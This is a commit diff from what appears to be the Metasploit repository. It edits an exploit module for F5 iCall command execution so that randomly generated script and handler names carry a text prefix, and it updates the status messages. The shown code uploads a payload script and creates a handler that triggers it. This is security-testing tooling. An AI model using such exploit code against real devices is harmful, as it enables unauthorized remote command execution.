Skip to content

Commit deec836

Browse files
committed
scripts/handlers cannot start with numbers
1 parent 7399b57 commit deec836

File tree

1 file changed

+4
-5
lines changed

1 file changed

+4
-5
lines changed

modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -227,9 +227,8 @@ def exploit
227227
return false
228228
end
229229

230-
print_status('Uploading payload script...')
231-
232-
script_name = Rex::Text.rand_text_alphanumeric(16)
230+
script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
231+
print_status("Uploading payload script #{script_name}")
233232
create_script_res = create_script(script_name, cmd)
234233
unless create_script_res && create_script_res.code == 200
235234
print_error("Upload payload script failed")
@@ -242,8 +241,8 @@ def exploit
242241
register_file_for_cleanup @payload_path
243242

244243
# phase 2: create iCall Handler, that will actually run the previously created script
245-
print_status('Creating trigger...')
246-
handler_name = Rex::Text.rand_text_alphanumeric(16)
244+
handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
245+
print_status("Creating trigger #{handler_name}")
247246
unless create_handler(handler_name, script_name)
248247
print_error('Payload script uploaded but trigger creation failed')
249248
delete_script(script_name)

0 commit comments

Comments
 (0)